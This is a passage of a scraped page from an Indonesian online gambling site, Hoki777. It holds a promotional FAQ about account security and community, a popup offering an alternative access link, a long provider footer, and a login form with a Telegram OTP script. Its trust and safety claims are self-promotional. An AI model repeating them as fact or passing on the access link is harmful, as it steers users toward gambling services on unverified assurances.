href="https://hoki777.de.com/"><strong>hoki777.de.com</strong></a>, cross-reference with the "Official Contact" page for the list of official social media accounts, and ask for the agent identifier which you can verify in the verification tools. Official agents will never ask for your password or OTP. If anyone asks, it is 100% scam, no exception.</p><p style="margin-left:0px;"><strong>Is joining the Hoki777 community free?</strong> Yes, completely free for all Hoki777 consumers. Just access hoki777.de.com and sign in with your Hoki777 account. Member verification is automatically done based on active account status.</p><p style="margin-left:0px;"><strong>Who are the community moderators?</strong> Community moderators consist of two groups: (1) Official Hoki777 staff serving as community managers, and (2) Senior community members formally appointed after a comprehensive vetting process. Both groups are accountable to the Head of Community and subject to a publicly published code of conduct.</p><p style="margin-left:0px;"><strong>If I find a bug or have feature feedback, where do I submit it?</strong> There are 3 channels: (1) Feedback channel in the community for feedback you want input from other members on, (2) Direct email to <a href="/cdn-cgi/l/email-protection#dabcbfbfbeb8bbb9b19ab2b5b1b3edededf4bebff4b9b5b7"><strong><span class="__cf_email__" data-cfemail="40262525242221232b00282f2b297777776e24256e232f2d">[email&#160;protected]</span></strong></a> for private feedback, or (3) In-app feedback button for quick feedback. All feedback is tracked and reviewed in the product team's monthly cycle.</p><p style="margin-left:0px;"><strong>Can I become a community contributor?</strong> Yes. The Community Contribution Program is open to all active members. Contributions can be in the form of helping answer questions, writing tutorials, spotting bugs, or giving constructive feedback. Recognition is automatic with tier badges based on contribution level.</p><p style="margin-left:0px;"><strong>Is my personal data safe if I join the community?</strong> Yes. Public profiles in the community only display username and badge tier—full name, email, phone number, and other sensitive info are never displayed publicly. You can also set your profile to semi-private if you prefer minimal exposure.</p><p style="margin-left:0px;"><strong>When and where are Hoki777 community offline meetups?</strong> Regional meetups are held every month in major cities with schedules announced in the community hub and official social media 2 weeks before the event. Meetups are free, RSVP-based for capacity planning. For cities outside the regular rotation, members can request meetups in their area via the Community Request channel.</p><p style="margin-left:0px;"><strong>If there is a scam claiming to be Hoki777, where should I report it?</strong> Report directly via <a href="/cdn-cgi/l/email-protection#592a3c3a2c2b302d2019313632306e6e6e773d3c773a3634"><strong><span class="__cf_email__" data-cfemail="4a392f293f38233e330a222521237d7d7d642e2f64292527">[email&#160;protected]</span></strong></a> with screenshots or details of the scammer's contact. The security team will investigate and (if necessary) publish a public warning in the community and official social media to protect other members. SLA response for security reports: 4 hours.</p><h2 style="margin-left:0px;"><strong>Conclusion</strong></h2><p style="margin-left:0px;">Solid official account services and an active community are not two separate things—but two sides of the same coin in building a truly trustworthy digital platform. Hoki777 invests in both with equal intensity because one without the other only yields half of the maximum value.</p><p style="margin-left:0px;">Official account services provide the foundation of security and reliability. The community provides a layer of human connection, peer support, and sustainable feedback loops. The combination is a trust ecosystem that makes consumers not just users—but part of a community that together shapes the evolution of the platform.</p><p style="margin-left:0px;">If you are not yet familiar with Hoki777, access the official website at <a href="https://hoki777.de.com/"><strong>hoki777.de.com</strong></a> and join the community. Experience the difference of a platform that treats consumers not just as users, but as partners in an ecosystem that grows together.</p><h2 style="margin-left:0px;"><strong>About the Author</strong></h2><p style="margin-left:0px;"><strong>Hoki777 Customer Experience Team — Senior CX &amp; Community Team.</strong></p><p style="margin-left:0px;">The Hoki777 CX Team consists of 6 professionals with backgrounds in customer support operations, community management, security awareness, and user research. Cumulative experience: 29+ years in the Indonesian digital platform industry. Every article is based on real operational data and continuously collected community feedback.</p><p style="margin-left:0px;"><strong>Credentials:</strong></p><ul><li>Direct access to the security team for fact-checking technical claims.</li><li>Weekly community pulse tracking from 15,000+ active members.</li><li>Public methodology: hoki777.de.com/metodologi</li><li>Community charter: hoki777.de.com/community-charter</li></ul><p style="margin-left:0px;">For corrections or factual feedback, send an email to <a href="/cdn-cgi/l/email-protection#e08398a0888f8b89d7d7d7ce8485ce838f8d"><strong><span class="__cf_email__" data-cfemail="0b68734b636460623c3c3c256f6e25686466">[email&#160;protected]</span></strong></a> with a correction response SLA within 48 hours.</p><h2 style="margin-left:0px;"><strong>Disclosure</strong></h2><p style="margin-left:0px;">This article was written by the Hoki777 CX Team about Hoki777 services and community. Readers are advised to cross-check factual claims with direct access to the official platform and community. Statistics mentioned are based on internal tracking that can be verified by request to email <a href="/cdn-cgi/l/email-protection#8eedf6cee6e1e5e7b9b9b9a0eaeba0ede1e3"><span class="__cf_email__" data-cfemail="b0d3c8f0d8dfdbd98787879ed4d59ed3dfdd">[email&#160;protected]</span></a>.</p>
            </div>
        </div>
		</div>
	</section>
</div>

<div class="modal fade" id="homePopup" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
	aria-hidden="true">
	<div class="modal-dialog modal-lg">
		<div class="modal-content">
			<button type="button" class="close" data-dismiss="modal" aria-label="Close">
				<i class="fas fa-times"></i>
			</button>
			<div class="announcement-title">
				<div class="icon"><i class="fas fa-bullhorn"></i></div>
				<h3 class="text-uppercase">Perhatian.</h3>
			</div>
			<div class="modal-body">
				<div class="announcement-content">
					<p style="text-align:center;">&nbsp;</p><p style="text-align:center;"><img src="https://hoki777-gambar.pages.dev/portalbebasakses.webp"></p><p style="text-align:center;">&nbsp;</p><p style="text-align:center;">AKES MUDAH TANPA KENDALA <a href="https://hk777.top/hoki777alt">DISINI</a><br>SITUS SLOT TERPERCAYA NO.1 DI INDONESIA<br><br>Claim &amp; Menangkan Setiap Permainan Yang Kamu Mainkan<br><br>MAINKAN &amp; MENANGKAN!!<br><br><a href="https://hk777.top/livechat-hoki777">LIVE CHAT</a></p>
				</div>
			</div>
		</div>
	</div>
</div>



</main>

<footer class="footer">
    <div class="footer__provider">
        <div class="container">
            <div class="provider-header">PROVIDER</div>
            <div class="provider-holder">
                                                                                                                                                <div class="provider-content">
                    <div class="provider-title">
                        <img title="Slot" alt="Slot"
                            src="https://images.linkcdn.cloud/global/icon-footer/Slot.png" width="20" height="20">
                        <span>SLOT</span>
                    </div>
                    <div class="provider-logo">
                                                                        <img alt="Pragmatic Play" title="Pragmatic Play"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/pra_footer.png" width="100" height="50">
                                                                                                <img alt="PP POP" title="PP POP"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/fat_footer.webp" width="100" height="50">
                                                                                                <img alt="PG Soft" title="PG Soft"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/pgs_footer.png" width="100" height="50">
                                                                                                <img alt="Afb Gaming" title="Afb Gaming"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/afg_footer.png" width="100" height="50">
                                                                                                <img alt="BLITZ GAMING SOFT" title="BLITZ GAMING SOFT"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/bgs_footer.png" width="100" height="50">
                                                                                                <img alt="CQ9 Gaming" title="CQ9 Gaming"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/cq9_footer.png" width="100" height="50">
                                                                                                <img alt="NEXTSPIN" title="NEXTSPIN"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/nex_footer.webp" width="100" height="50">
                                                                                                <img alt="BT GAMING" title="BT GAMING"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/bgg_footer.webp" width="100" height="50">
                                                                                                <img alt="FASTSPIN" title="FASTSPIN"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/fastspin_footer.png" width="100" height="50">
                                                                                                <img alt="Spade Gaming" title="Spade Gaming"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/spd_footer.png" width="100" height="50">
                                                                                                <img alt="Microgaming" title="Microgaming"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/micro_logo.png" width="100" height="50">
                                                                                                <img alt="Advantplay" title="Advantplay"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/adv_footer.png" width="100" height="50">
                                                                                                <img alt="Joker Gaming" title="Joker Gaming"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/jok_footer.png" width="100" height="50">
                                                                                                <img alt="Playtech Slot" title="Playtech Slot"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/pla_footer.png" width="100" height="50">
                                                                                                <img alt="GB Game" title="GB Game"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/hcg_footer.png" width="100" height="50">
                                                                                                <img alt="BESOFT" title="BESOFT"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/bsf_footer.webp" width="100" height="50">
                                                                                                <img alt="Playstar" title="Playstar"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/pls_footer.png" width="100" height="50">
                                                                                                <img alt="WONWON" title="WONWON"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/won_footer.webp" width="100" height="50">
                                                                                                <img alt="COSMOPLAY" title="COSMOPLAY"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/cos_footer.webp" width="100" height="50">
                                                                                                <img alt="Fa Chai" title="Fa Chai"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/fac_footer.webp" width="100" height="50">
                                                                                                <img alt="YGR Slot" title="YGR Slot"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/ygr_footer.webp" width="100" height="50">
                                                                                                <img alt="JILI" title="JILI"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/jli_footer.webp" width="100" height="50">
                                                                                                <img alt="NoLimit City" title="NoLimit City"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/nlc_footer.png" width="100" height="50">
                                                                                                <img alt="FUNKY GAMES" title="FUNKY GAMES"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/net_footer.webp" width="100" height="50">
                                                                                                <img alt="MIMI GAMING" title="MIMI GAMING"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/mmg_footer.webp" width="100" height="50">
                                                                                                <img alt="RICH88" title="RICH88"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/r88_footer.webp" width="100" height="50">
                                                                                                <img alt="TOGEL SLOT" title="TOGEL SLOT"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/s4d_footer.webp" width="100" height="50">
                                                                                                <img alt="ZEUS" title="ZEUS"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/hg5_footer.webp" width="100" height="50">
                                                                                                <img alt="5G GAMES" title="5G GAMES"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/5gs_footer.webp" width="100" height="50">
                                                                                                <img alt="WOW GAMING" title="WOW GAMING"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/wow_footer.webp" width="100" height="50">
                                                                                                <img alt="JDB" title="JDB"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/jdb_footer.webp" width="100" height="50">
                                                                                                <img alt="Hydako" title="Hydako"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/hyd_footer.png" width="100" height="50">
                                                                                                <img alt="Habanero" title="Habanero"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/hbn_footer.png" width="100" height="50">
                                                                                                <img alt="RED TIGER" title="RED TIGER"
                            src=" https://images.linkcdn.cloud/global/logo-footer/slot/rtr_footer.webp " width="100" height="50">
                                                                                                                                                                                                                                                <img alt="PRIME SIGMA GAMING" title="PRIME SIGMA GAMING"
                            src="https://images.linkcdn.cloud/global/logo-footer/slot/psg_footer.webp" width="100" height="50">
                                                                    </div>
                </div>
                                                                                                                                                                                <div class="provider-content">
                    <div class="provider-title">
                        <img title="Casino" alt="Casino"
                            src="https://images.linkcdn.cloud/global/icon-footer/Casino.png" width="20" height="20">
                        <span>CASINO</span>
                    </div>
                    <div class="provider-logo">
                                                                        <img alt="Pragmatic Play LC" title="Pragmatic Play LC"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/plc_footer.png" width="100" height="50">
                                                                                                <img alt="Playtech Casino" title="Playtech Casino"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/pca_footer.png" width="100" height="50">
                                                                                                <img alt="ALLBET" title="ALLBET"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/alb_footer.png" width="100" height="50">
                                                                                                <img alt="MICROGAMING LC" title="MICROGAMING LC"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/mlc_footer.webp" width="100" height="50">
                                                                                                <img alt="Sexy Gaming" title="Sexy Gaming"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/seg_footer.png" width="100" height="50">
                                                                                                <img alt="WM Casino" title="WM Casino"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/wmc_footer.png" width="100" height="50">
                                                                                                <img alt="Evolution" title="Evolution"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/evolution_footer.webp" width="100" height="50">
                                                                                                <img alt="CHOICE" title="CHOICE"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/agc_footer.png" width="100" height="50">
                                                                                                <img alt="OG Casino" title="OG Casino"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/ogs_footer.png" width="100" height="50">
                                                                                                <img alt="AI CASINO" title="AI CASINO"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/aic_footer.webp" width="100" height="50">
                                                                                                <img alt="Dream Gaming" title="Dream Gaming"
                            src="https://images.linkcdn.cloud/global/logo-footer/casino/drg_footer.png" width="100" height="50">
                                                                                                                                                                                                                                                                    </div>
                </div>
                                                                                                                                                                                                                                                                                                                                                                                                <div class="provider-content">
                    <div class="row">
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        <div class="col-lg-6">
                            <div class="provider-title">
                                <img title="Sportsbook" alt="Sportsbook"
                                    src="https://images.linkcdn.cloud/global/icon-footer/Sport.png" width="20" height="20">
                                <span>SPORTSBOOK</span>
                            </div>
                            <div class="provider-logo">
                                                                                                <img alt="AFB88" title="AFB88"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/afb_footer.png" width="100" height="50">
                                                                                                                                <img alt="BTI Sportsbook" title="BTI Sportsbook"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/bti_footer.webp" width="100" height="50">
                                                                                                                                <img alt="SBO SPORT" title="SBO SPORT"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/sbo_footer.png" width="100" height="50">
                                                                                                                                <img alt="CMD368" title="CMD368"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/cmd_footer.png" width="100" height="50">
                                                                                                                                <img alt="SABA SPORT" title="SABA SPORT"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/sab_footer.webp" width="100" height="50">
                                                                                                                                <img alt="OPUS Sports" title="OPUS Sports"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/m88_footer.webp" width="100" height="50">
                                                                                                                                <img alt="IA E-SPORT" title="IA E-SPORT"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/iae_footer.png" width="100" height="50">
                                                                                            </div>
                        </div>
                                                                                                                                                                                                                                                                                                                                                                        <div class="col-lg-6">
                            <div class="provider-title">
                                <img title="Arcade" alt="Arcade"
                                    src="https://images.linkcdn.cloud/global/icon-footer/Arcade.png" width="20" height="20">
                                <span>ARCADE</span>
                            </div>
                            <div class="provider-logo">
                                                                                                <img alt="FUNKY GAMES" title="FUNKY GAMES"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/fun_footer.webp" width="100" height="50">
                                                                                                                                <img alt="Pragmatic Crash Game" title="Pragmatic Crash Game"
                                    src="https://images.linkcdn.cloud/global/logo-footer/casino/spaceman_footer.webp" width="100" height="50">
                                                                                                                                <img alt="Joker Gaming" title="Joker Gaming"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/jok_footer.png" width="100" height="50">
                                                                                                                                <img alt="SPRIBE" title="SPRIBE"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/spr_footer.webp" width="100" height="50">
                                                                                                                                <img alt="Fastspin" title="Fastspin"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/fastspin_footer.png" width="100" height="50">
                                                                                                                                <img alt="JDB" title="JDB"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/jdb_footer.webp" width="100" height="50">
                                                                                                                                <img alt="CQ9" title="CQ9"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/cq9_footer.png" width="100" height="50">
                                                                                                                                <img alt="WONWON" title="WONWON"
                                    src=" https://images.linkcdn.cloud/global/logo-footer/slot/won_footer.webp " width="100" height="50">
                                                                                                                                <img alt="JILI" title="JILI"
                                    src=" https://images.linkcdn.cloud/global/logo-footer/slot/jli_footer.webp " width="100" height="50">
                                                                                                                                <img alt="Fa Chai" title="Fa Chai"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/fac_footer.webp" width="100" height="50">
                                                                                                                                <img alt="Spade Gaming" title="Spade Gaming"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/spd_footer.png" width="100" height="50">
                                                                                                                                <img alt="ZEUS" title="ZEUS"
                                    src="https://images.linkcdn.cloud/global/logo-footer/slot/hg5_footer.webp" width="100" height="50">
                                                                                                                                <img alt="GG SOFT" title="GG SOFT"
                                    src="https://images.linkcdn.cloud/global/logo-footer/fishing/ggs_footer.webp" width="100" height="50">
                                                                                            </div>
                        </div>
                                                                                                                                                                                            </div>
                </div>
                <div class="provider-content">
                    <div class="row">
                                                                                                                                                                                                                                                                                                                        <div class="col-lg-3">
                            <div class="provider-title">
                                <img title="Live Game" alt="Live Game"
                                    src="https://images.linkcdn.cloud/global/icon-footer/Game Lain.png" width="20" height="20">
                                <span>LIVE GAME</span>
                            </div>
                            <div class="provider-logo">
                                                                                                <img alt="CFA88" title="CFA88"
                                    src="https://images.linkcdn.cloud/global/logo-footer/sports/cfa_footer.webp" width="100" height="50">
                                                                                                                                                                                                                                                                <img alt="AFB COCKFIGHT" title="AFB COCKFIGHT"
                                    src="https://images.linkcdn.cloud/global/logo-footer/others/aco_footer.webp" width="100" height="50">
                                                                                                                                <img alt="GA28" title="GA28"
                                    src="https://images.linkcdn.cloud/global/logo-footer/others/ga2_footer.png" width="100" height="50">
                                                                                                                                                                                                <img alt="WS168" title="WS168"
                                    src="https://images.linkcdn.cloud/global/logo-footer/others/ws1_footer.webp" width="100" height="50">
                                                                                                                                <img alt="SV388 Cockfight" title="SV388 Cockfight"
                                    src="https://images.linkcdn.cloud/global/logo-footer/others/sv3_footer.png" width="100" height="50">
                                                                                                                                <img alt="MIKI Gaming" title="MIKI Gaming"
                                    src="https://images.linkcdn.cloud/global/logo-footer/others/mki_footer.png" width="100" height="50">
                                                                                            </div>
                        </div>
                                                                                                                                                                                                                                                                                                                                                                        <div class="col-lg-3">
                            <div class="provider-title">
                                <img title="Lottery" alt="Lottery"
                                    src="https://images.linkcdn.cloud/global/icon-footer/Lottery.png" width="20" height="20">
                                <span>LOTTERY</span>
                            </div>
                            <div class="provider-logo">
                                                                                                <img alt="4D" title="4D"
                                    src="https://images.linkcdn.cloud/global/logo-footer/lottery/togel_footer.png" width="100" height="50">
                                                                                            </div>
                        </div>
                                                                                                                                                                        <div class="col-lg-3">
                            <div class="provider-title">
                                <img title="Poker" alt="Poker"
                                    src="https://images.linkcdn.cloud/global/icon-footer/Poker.png" width="20" height="20">
                                <span>POKER</span>
                            </div>
                            <div class="provider-logo">
                                                                                                <img alt="We1Poker" title="We1Poker"
                                    src="https://images.linkcdn.cloud/global/logo-footer/poker/we1_footer.png" width="100" height="50">
                                                                                            </div>
                        </div>
                                                                                                                                                                                                                                                                                            </div>
                </div>
            </div>
            <div class="provider-nav">
                <a href="" class="provider-link">+21</a>
                <a href="/news" class="provider-link">Berita</a>
                <a href="/promotion" class="provider-link">Promosi</a>
                <a href="/help#About" class="provider-link">Tentang Kami</a>
                <a href="/contact" class="provider-link">Kontak Kami</a>
                <a href="/help" class="provider-link">Persyaratan &amp; Ketentuan</a>
                <a href="/help#FAQ" class="provider-link">FAQ</a>
                                            </div>
        </div>
    </div>
    <div class="footer__trademark">Copyright &copy; 2021 - 2026 hoki777 is an international registered trademark. All rights reserved.</div>
</footer>


<div class="footer-mobile">
    <a class="footer-item active" href="https://hoki777.de.com">
        <div class="footer-icon"><i class="fas fa-home"></i></div>
        <div class="footer-title">Home</div>
    </a>
            <a class="footer-item" href="javascript:;" onclick="gameAlert()">
                <div class="footer-icon"><img loading="lazy" src="https://images.linkcdn.cloud/global/default/icon/snp.webp" width="28" alt="stream-and-play" height="25"></div>
        <div class="footer-title">Stream</div>
    </a>
            <a class="footer-item footer-login" href="#" data-toggle="modal" data-target="#loginModal">
        <div class="footer-icon"><i class="fas fa-user-alt"></i></div>
        <div class="footer-title">Masuk</div>
    </a>
                <a class="footer-item " href="https://hoki777.de.com/promotion">
        <div class="footer-icon"><i class="fas fa-tags"></i> <i class="fas fa-percent"></i></div>
        <div class="footer-title">Promosi</div>
    </a>
            <a class="footer-item"
            target="_blank" rel="noreferrer" href="https://direct.lc.chat/19408592/"
        >
        <div class="footer-icon"><i class="fas fa-comments"></i></div>
        <div class="footer-title">Live Chat</div>
    </a>
</div>

<!-- Modal -->
<div class="modal fade custom-popup" id="loginModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
    aria-hidden="true">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <i class="fas fa-times"></i>
            </button>

            <div class="modal-header">
                <h5 class="modal-title" id="exampleModalLabel">Formulir Login</h5>
            </div>

            <div class="modal-body">
                <div class="modal-body-form">
                    <form name="login-form">
                        <div class="form-item">
                            <div class="item-title">Nama Pengguna*</div>
                            <input value="" minlength="1" maxlength="25"
                                name="usernameLogin" style="text-transform: lowercase" type="text" placeholder="Nama Pengguna*"
                                autocomplete="off" required>
                        </div>
                        <div class="form-item">
                            <div class="item-title">Kata Sandi*</div>
                            <div class="position-relative">
                                <input value="" minlength="5" maxlength="50" id="passwordLogin2"
                                    name="passwordLogin" type="password" placeholder="Kata Sandi*"
                                    autocomplete="off" required>
                                <i class="toggle-password fas fa-eye-slash" toggle="#passwordLogin2" style="
    position: absolute;
    right:0.5rem;
    top:50%;
    transform:translateY(-50%);
    cursor:pointer;
    color:#808080;
"></i>                            </div>
                        </div>
                        <div class="form-forgot">
                            <a href="https://hoki777.de.com/forgot-password">Lupa Kata Sandi ?</a>
                        </div>
                        <div class="form-button">
                            <button name="buttonLogin" type="submit" class="button-login">Masuk</button>
                        </div>
                    </form>
                    <div class="social-login-section text-center mt-3">
                                            </div>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Telegram Login Modal -->
<div class="modal fade custom-popup" id="telegramLoginModal" tabindex="-1" role="dialog" aria-labelledby="telegramLoginModalLabel" aria-hidden="true">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <i class="fas fa-times"></i>
            </button>
            <div class="modal-header">
                <h5 class="modal-title" id="telegramLoginModalLabel">Masuk dengan Telegram</h5>
            </div>
            <div class="modal-body">
                <!-- Error Messages -->
                <div id="telegram-error-message" class="alert alert-danger d-none mt-3"></div>
                <!-- Step 1: Username Input -->
                <div id="telegram-username-step" class="step">
                    <form id="telegram-username-form">
                        <input type="hidden" name="_token" value="ioLVyhi427xjDwj0M4Cluhhz6pastMJaRzcBEy0J">                        <div class="form-group text-center">Masukkan nomor ponsel Anda untuk mendapatkan kode OTP ke akun Telegram Anda.</div>
                        <div class="form-group">
                            <label for="telegram-phone">Nomor Ponsel</label>
                            <div class="input-group">
                                <div class="input-group-prepend">
                                    <span class="input-group-text">+</span>
                                </div>
                                <input type="text" class="form-control" id="telegram-phone" name="phone" required placeholder="Masukkan nomor ponsel Anda" autocomplete="off" maxlength="15">
                            </div>
                            <small class="form-text text-left mt-2">Catatan : Masukkan nomor telepon Anda beserta kode negara. Contoh: 628123456789</small>
                        </div>
                        <button type="submit" class="btn btn-primary btn-block mt-4 mb-4" id="telegram-send-otp-btn">Kirim OTP</button>
                    </form>
                </div>
                <!-- Step 2: OTP Input -->
                <div id="telegram-otp-step" class="step d-none">
                    <div class="alert alert-info">
                        Masukkan kode OTP yang dikirim ke Telegram <span id="telegram-phone-number">****-****-****</span>
                    </div>
                    <form id="telegram-otp-form">
                        <input type="hidden" name="_token" value="ioLVyhi427xjDwj0M4Cluhhz6pastMJaRzcBEy0J">                        <div class="form-group">
                            <label for="telegram-otp">Masukkan OTP</label>
                            <input type="text" class="form-control" id="telegram-otp" name="otp" required
                                placeholder="000000" maxlength="6" pattern="[0-9]{6}">
                        </div>
                        <div class="text-center justify-content-center mb-3">
                            <span>Tidak menerima OTP?</span>
                            <button type="button" class="btn btn-link btn-block mt-2" id="telegram-resend-otp-btn" disabled>
                                <span id="telegram-resend-text">Kode OTP telah dikirim, silakan kirim ulang nanti &lt;span id=&quot;telegram-countdown&quot;&gt;60&lt;/span&gt;</span>
                            </button>
                        </div>
                        <button type="submit" class="btn btn-success btn-block mt-4 mb-4" id="telegram-verify-otp-btn" disabled>Verifikasi</button>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Telegram Login Script and Styles -->
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script>
    const lang = {
        otp_sent_resend_later: 'Kode OTP telah dikirim, silakan kirim ulang nanti :countdown',
        an_error_occurred_try_again: 'Terjadi kesalahan. Silakan coba lagi.',
        verifying: 'Memverifikasi...',
        resend: 'Kirim ulang',
    };

    function formatTime(seconds) {
        const minutes = Math.floor(seconds / 60);
        const secs = seconds % 60;
        return `${minutes.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')}`;
    }

    document.addEventListener('DOMContentLoaded', function() {
        // Telegram Login Modal functionality
        const telegramUsernameStep = document.getElementById('telegram-username-step');
        const telegramOtpStep = document.getElementById('telegram-otp-step');
        const telegramUsernameForm = document.getElementById('telegram-username-form');
        const telegramOtpForm = document.getElementById('telegram-otp-form');
        const telegramPhoneInput = document.getElementById('telegram-phone');
        const telegramOtpInput = document.getElementById('telegram-otp');
        const telegramVerifyBtn = document.getElementById('telegram-verify-otp-btn');
        const telegramResendBtn = document.getElementById('telegram-resend-otp-btn');
        let telegramCountdownSpan = document.getElementById('telegram-countdown');
        const telegramErrorMessage = document.getElementById('telegram-error-message');
        let telegramCountdown = 240;
        let telegramCountdownInterval;
        // Reset modal when opened
        $('#telegramLoginModal').on('show.bs.modal', function() {
            telegramUsernameStep.classList.remove('d-none');
            telegramOtpStep.classList.add('d-none');
            telegramUsernameForm.reset();
            telegramOtpForm.reset();
            telegramErrorMessage.classList.add('d-none');
            clearInterval(telegramCountdownInterval);
            telegramCountdown = 240;
            document.getElementById('telegram-resend-text').innerHTML = lang.otp_sent_resend_later.replace(':countdown', '<span id="telegram-countdown">' + formatTime(telegramCountdown) + '</span>');
            telegramCountdownSpan = document.getElementById('telegram-countdown');
            telegramResendBtn.disabled = true;
            telegramVerifyBtn.disabled = true;
        });

        // Phone form submission
        telegramUsernameForm.addEventListener('submit', function(e) {
            e.preventDefault();
            const phone = document.getElementById('telegram-phone').value;

            fetch(`/api/telegram/send-otp?phone=${encodeURIComponent(phone)}`, {
                    method: 'GET'
                })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        telegramUsernameStep.classList.add('d-none');
                        telegramOtpStep.classList.remove('d-none');
                        if (data.maskedPhone) {
                            document.getElementById('telegram-phone-number').textContent = data.maskedPhone;
                        }
                        startTelegramCountdown();
                    } else {
                        showTelegramError(data.message);
                    }
                })
                .catch(error => {
                    showTelegramError(lang.an_error_occurred_try_again);
                });
        });

        // Phone input validation
        telegramPhoneInput.addEventListener('input', function() {
            const phone = this.value.replace(/\D/g, '');
            this.value = phone;
        });

        // OTP input validation
        telegramOtpInput.addEventListener('input', function() {
            const otp = this.value.replace(/\D/g, '');
            this.value = otp;
            telegramVerifyBtn.disabled = otp.length !== 6;
        });

        // OTP form submission
        telegramOtpForm.addEventListener('submit', function(e) {
            e.preventDefault();
            const otp = telegramOtpInput.value;
            telegramVerifyBtn.disabled = true;
            telegramVerifyBtn.textContent = lang.verifying;
            fetch(`/api/telegram/verify-otp?otp=${encodeURIComponent(otp)}`, {
                    method: 'GET'
                })
                .then(response => response.json())
                .then(data => {
                    if (data.code === 200) {
                        window.location.href = '/';
                        Swal.fire({
                            icon: 'success',
                            title: data.message,
                            showConfirmButton: true,
                            confirmButtonText: 'OK',
                            allowOutsideClick: false
                        }).then(function() {
                            // redirect happens first; Swal is informational
                        });
                    } else {
                        showTelegramError(data.message);
                        telegramVerifyBtn.disabled = false;
                        telegramVerifyBtn.textContent = 'Verifikasi';
                    }
                })
                .catch(error => {
                    showTelegramError(lang.an_error_occurred_try_again);
                    telegramVerifyBtn.disabled = false;
                    telegramVerifyBtn.textContent = 'Verifikasi';
                });
        });

        // Resend OTP
        telegramResendBtn.addEventListener('click', function() {
            telegramUsernameForm.dispatchEvent(new Event('submit'));
        });

        function startTelegramCountdown() {
            telegramCountdown = 240;
            document.getElementById('telegram-resend-text').innerHTML = lang.otp_sent_resend_later.replace(':countdown', '<span id="telegram-countdown">' + formatTime(telegramCountdown) + '</span>');
            telegramCountdownSpan = document.getElementById('telegram-countdown');
            telegramResendBtn.disabled = true;
            telegramCountdownInterval = setInterval(() => {
                telegramCountdown--;
                telegramCountdownSpan.textContent = formatTime(telegramCountdown);
                if (telegramCountdown <= 0) {
                    clearInterval(telegramCountdownInterval);
                    telegramResendBtn.disabled = false;
                    document.getElementById('telegram-resend-text').innerHTML = lang.resend;
                }
            }, 1000);
        }

        function showTelegramError(message) {
            telegramErrorMessage.textContent = message;
            telegramErrorMessage.classList.remove('d-none');
            setTimeout(() => {
                telegramErrorMessage.classList.add('d-none');
            }, 5000);
        }
    });
</script>

<style>
    .telegram-login-modal .step {
        transition: opacity 0.3s ease;
    }

    .telegram-login-modal .btn:disabled {
        opacity: 0.6;
    }

    .telegram-login-modal #telegram-countdown {
        font-weight: bold;
        color: #007bff;
    }

